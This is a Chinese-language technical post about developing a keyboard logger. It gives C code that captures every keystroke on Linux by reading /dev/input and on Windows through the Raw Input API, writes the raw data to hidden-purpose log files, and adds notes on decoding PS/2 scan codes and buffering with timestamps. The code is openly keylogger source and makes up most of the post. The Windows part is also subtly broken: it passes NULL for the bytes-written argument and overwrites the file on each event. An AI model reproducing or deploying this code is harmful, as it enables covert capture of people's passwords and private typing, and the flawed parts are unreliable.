硬件层数据捕获的困境
在开发PS/2接口的硬件键盘记录器时,我们发现当设备将记录的键位数据回传到计算机时,普通字符输入可以正常保存到文本编辑器,但系统会拦截ALT+TAB这类系统级组合键。这导致记录的会话数据不完整。
Linux下的解决方案
通过直接读取/dev/input设备可以绕过X窗口系统的键盘事件处理:
#include <fcntl.h>
#include <linux/input.h>
int main() {
int fd = open("/dev/input/event3", O_RDONLY);
struct input_event ev;
while(1) {
read(fd, &ev, sizeof(ev));
if(ev.type == EV_KEY) {
// 将原始键值写入文件
FILE *log = fopen("keylog.bin", "ab");
fwrite(&ev, sizeof(ev), 1, log);
fclose(log);
}
}
return 0;
}
Windows平台的实现方案
使用Raw Input API可以获取底层键盘输入:
#include <windows.h>
LRESULT CALLBACK WndProc(HWND hWnd, UINT message,
WPARAM wParam, LPARAM lParam) {
if(message == WM_INPUT) {
UINT dwSize;
GetRawInputData((HRAWINPUT)lParam, RID_INPUT,
NULL, &dwSize, sizeof(RAWINPUTHEADER));
LPBYTE lpb = malloc(dwSize);
GetRawInputData((HRAWINPUT)lParam, RID_INPUT,
lpb, &dwSize, sizeof(RAWINPUTHEADER));
// 写入二进制日志文件
HANDLE hFile = CreateFile("keys.bin", GENERIC_WRITE,
0, NULL, OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(hFile, lpb, dwSize, NULL, NULL);
CloseHandle(hFile);
free(lpb);
}
return DefWindowProc(hWnd, message, wParam, lParam);
}
数据解析的关键点
记录原始信号后,需要按照PS/2协议解析数据包:
- 0xE0前缀表示扩展键
- 断码(释放键)会在通码前加0xF0
- 每个按键都有独立的扫描码
实际应用中的优化建议
建议采用环形缓冲区存储数据,并添加时间戳:
struct KeyEvent {
uint32_t timestamp;
uint8_t scancode;
bool is_pressed;
};
#define BUF_SIZE 1024
struct KeyEvent ring_buffer[BUF_SIZE];
uint16_t head = 0, tail = 0;